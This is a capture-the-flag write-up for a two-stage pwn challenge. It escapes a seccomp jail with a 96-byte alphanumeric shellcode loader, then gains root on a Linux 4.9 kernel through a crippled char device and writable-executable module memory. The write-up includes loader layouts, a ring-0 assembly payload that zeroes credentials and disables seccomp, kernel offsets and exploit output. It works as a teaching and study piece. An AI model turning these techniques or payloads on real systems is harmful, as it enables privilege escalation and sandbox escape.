Death Ops

96 bytes of alphanumeric loader out of a seccomp jail, then a kernel LPE built on a char device that allows exactly two arbitrary writes.

2026.09.19 PwnSec CTF 2026 Pwn
FLAG pwnsec{803ee50676a5e9de}

A classified black-operations terminal is running inside. Can you break the system, and escape from the security sandbox. WARNING!! this chall is 2 staged.

Two stages, as advertised: an alphanumeric-shellcode/seccomp jail in userland, then a Linux 4.9.333 kernel LPE through a deliberately crippled char device.

1. Target

dist/bzImage        Linux 4.9.333, cmdline: console=ttyS0 oops=panic panic=1 kaslr pti=on quiet
dist/rootfs.cpio.gz initramfs: /init, /blackops, /shadowops.ko, busybox
run-qemu.sh         qemu-system-x86_64 -m 256M ...   (default `qemu64` CPU!)

/init (relevant parts):

FLAG_NAME="flag-$(head -c 4 /dev/urandom | od -A n -t x | tr -d ' ').txt"
cat /flag > "/$FLAG_NAME"; rm -f /flag; chmod 600 "/$FLAG_NAME"

insmod /shadowops.ko
chmod 222 /dev/shadowops            # write-only

exec su -s /bin/sh -c '/blackops' ctf   # PID 1 runs as uid 1000

The flag name is randomised, so the goal is really a root shell, not a hardcoded open().

blackops (uid 1000, PID 1)

  • [1] INTEL EXTRACTION — reads one arbitrary file, once ever (intel_used latch), rejects paths containing flag, prints the first 4096 bytes. This is the KASLR oracle.
  • [2] PAYLOAD DEPLOYMENT
    • prctl(PR_SET_NO_NEW_PRIVS), prctl(PR_SET_SECCOMP, FILTER, …)
    • read(0, buf, 96), every byte must satisfy [A-Za-z0-9]
    • memcpy(rwx_buf, buf, n); call rwx_bufrwx_buf is a 4 KB PROT_READ|WRITE|EXEC mmap, and rax == rwx_buf on entry.

ops_fd = open("/dev/shadowops", O_WRONLY) happens before the sandbox, so fd 3 survives into the jail.

Decoded BPF filter (10 instructions):

A = arch; if (A != AUDIT_ARCH_X86_64) KILL
A = nr;   if (A in {0 read, 1 write, 60 exit, 231 exit_group}) ALLOW
KILL

shadowops.ko

static int used, opened;

shadowops_write(file, buf, count, pos):
    if (count != 16) return -EINVAL;
    if ((old = xadd(&used, 1)) + 1 > 2) return -EACCES;   /* signed! */
    copy_from_user(kbuf, buf, 16);
    *(u64 *)kbuf[0] = kbuf[1];                            /* arbitrary write */
    return 16;

An 8-byte write-what-where — but the counter only allows two of them (off-by-one: 0→1 and 1→2 both pass).

2. Stage 1 — 96 bytes of alphanumeric loader

Entry state: rax = rwx_buf, page aligned, so al == 0.

The trick is that syscall (0f 05) is not alphanumeric, so it has to be written by alnum instructions and then fallen into. Useful alnum opcodes:

bytesmeaning
50 59 (PY)push rax ; pop rcxrcx = rwx_buf
34 ii (4x)xor al, imm8
30 41 dd (0A?)xor byte [rcx+disp8], al
6b /r dd ii (k??)imul r32, [rcx+disp8], imm8
50 58 (PX)push rax ; pop rax = 2-byte nop

Note only bytes < 0x80 can ever be produced (al starts at 0 and is only ever xored with alnum values), which rules out writing eb/e9 jumps — the loader has to fall through into the stub.

Layout of the 96 bytes sent:

0x00..0x1c   functional code (PY + 3x{xor al,imm; xor [rcx+d],al} + 3x imul)
0x1d..0x2e   'PX' / 'HPX' padding
0x2f         'Q'  push rcx (arg for the pop below)
0x30..0x32   three alnum placeholders, rewritten at run time to
                 5e     pop rsi      ; rsi = rwx_buf
                 0f 05  syscall      ; read(0, rwx_buf, BIG)
0x33..0x5f   push/pop sled (also holds the multiplier constant)

rdi = 0 and rax = 0 come from imul r32, [rcx+0x64], 'A' — offset 0x64 is past the 96 copied bytes and therefore still zeroed mmap memory. rdx (the read length) is imul edx, [rcx+0x41], imm over four sled bytes chosen so the product is a comfortable size.

After the syscall, execution simply falls through to rwx_buf+0x33, which by then holds freshly read stage-2 bytes. Stage 2 is prefixed with 0x33 nops so that a short read (the QEMU 16550 only feeds 16 bytes per burst) still lands inside a nop sled, and the leftover sled bytes of stage 1 are harmless push/pop pairs for the same reason.

3. Stage 2 — one write to rule them all

The dead ends (worth recording)

  • ret2usr is dead. qemu64 has no SMEP (CR4=0x670) and no SMAP, but the 4.9 KAISER backport marks the user half NX in the kernel page tables. Jumping a hijacked kernel function pointer at the RWX page gives v=0e e=0011 — present + instruction fetch — in -d int. Kernel .text, .data and .bss are all NX/RO too, and sys_call_table sits in .rodata.
  • No stack pivot. Scanning the whole image for mov/lea rsp, …; ret yields only rbp/r8/r10-based gadgets — none of those registers is attacker controlled at any writable function pointer.
  • core_pattern needs 17+ bytes. |/bin/sh /dev/console works beautifully (verified: the coredump helper is root and the kernel blocks filling the 64 KB pipe, so the helper lives forever), but usermodehelpers have no fd 0/1/2, so a script path is mandatory and 2 writes only buy 16 bytes. %h /hostname substitution was brute-forced too — no solution.
  • Overflowing used works but is too slow. Every rejected write still executes the xadd, so ~2^31 failing writes wrap it negative and re-enable the primitive forever. Measured on the real instance: ~14k syscalls/s (no KVM) → ≈42 h. Fine as a proof, useless in a 24 h CTF.

The actual bug: the module is RWX

The kernel exports no set_section_ro_nx / frob_text / module_enable_ro symbols → CONFIG_DEBUG_SET_MODULE_RONX=n, so module_alloc() memory stays PAGE_KERNEL_EXEC — read/write/execute — and the two-page allocation leaves ~3 KB of unused tail after the 4356-byte module.

That turns the single bootstrap write into everything:

  1. INTEL EXTRACTION on /proc/modules (kptr_restrict=0, so uid 1000 sees the real base):
shadowops 4356 0 - Live 0xffffffffc0127000 (O)
  1. Write #1: *(u64 *)(base + 0xcd0) = 0x0000000080000000used = INT_MIN, opened = 0. used + 1 > 2 is a signed compare, so it never trips again → unlimited arbitrary writes.
  2. Copy a 166-byte ring-0 payload into base + 0x1200 (unused RWX tail), 8 bytes per write.
  3. Patch the entry of shadowops_write (base + 0x30) with e9 <rel32> 90 90 90 — a jump to the payload. This write goes through the old code, which only touches bytes it has already executed.
  4. One more write(3, …, 16) now executes the payload in ring 0.

The ring-0 payload

mov rax, gs:[0x14b40]          ; current_task (percpu offset, link-time const)
lea rdi, [rax+0x500]
mov r9, 0x73706f6b63616c62     ; "blackops"
scan:                          ; locate comm instead of trusting an offset
    cmp r9, [rdi]              ; je found ; add rdi,8 ; … ; jb scan
found:
mov rbx, [rdi-8]               ; cred      (= task+0x610)
call zero_ids                  ; uid..fsgid = 0, all caps = ~0
mov rbx, [rdi-16]              ; real_cred (= task+0x608)
call zero_ids
and qword [rax+0], -257        ; clear TIF_SECCOMP (thread_info.flags, bit 8)
mov qword [rdi+0xb8], 0        ; seccomp.mode = DISABLED (= task+0x6d0)
mov eax, 16                    ; ret

Clearing TIF_SECCOMP alone is not enough: copy_seccomp() re-arms the flag on every fork() while seccomp.mode != DISABLED, so the first cat still died with Bad system call. Zeroing the mode fixes it.

Finally, back in userland (now root, unsandboxed):

execve("/bin/sh", {"/bin/sh", "-c",
                   "cat /flag*.txt; ls -la /; exec /bin/sh", NULL}, NULL);

argv must be a real vector — busybox reads argv[0] to pick the applet and answers : applet not found if you pass NULL.

4. Constants

Derived offline from vmlinux and confirmed at run time with QEMU’s gdbstub.

symbolvalue
current_taskgs:0x14b40
task.thread_info.flags+0x000 (THREAD_INFO_IN_TASK=y, 16-byte ti)
task.state / .stack+0x010 / +0x018
task.real_cred / .cred / .comm+0x608 / +0x610 / +0x618
task.seccomp+0x6d0 (comm+0xb8)
task.tasks+0x368
module shadowops_writebase+0x30
module used / openedbase+0xcd0 / base+0xcd4
module free RWX tailbase+0x1104 … +0x1fff
init_task (kernel base rel.)+0x10114c0
init_cred+0x1048320
core_pattern+0x10674e0
serial8250_ports+0x1355120, port.serial_out at +0x20

serial8250_ports[0].port.serial_out is the writable function pointer used during the (abandoned) ret2usr attempt — every byte written to stdout goes through mov rax,[rbx+0x20]; call __x86_indirect_thunk_rax, which makes it a very convenient “call any kernel function with rdi = &port” primitive if you ever need one on this kernel.

5. Run

$ python3 exp/exp2.py <host>:443
[+] shadowops.ko = 0xffffffffc0112000
[*] used=0xffffffffc0112cd0 scratch=0xffffffffc0113200 write=0xffffffffc0112030
[*] ring0=166B packets=23 main=640B
[+] kernel writes done
[+] ring-0 payload executed -> root, seccomp off
pwnsec{803ee50676a5e9de}

Files: exp/exp2.py (exploit), exp/alnum2.py (alphanumeric stage 1), exp/casm.py (clang-based assembler), exp/rsp.py (gdbstub client used for offset hunting).

#kernel#seccomp#alphanumeric-shellcode#lpe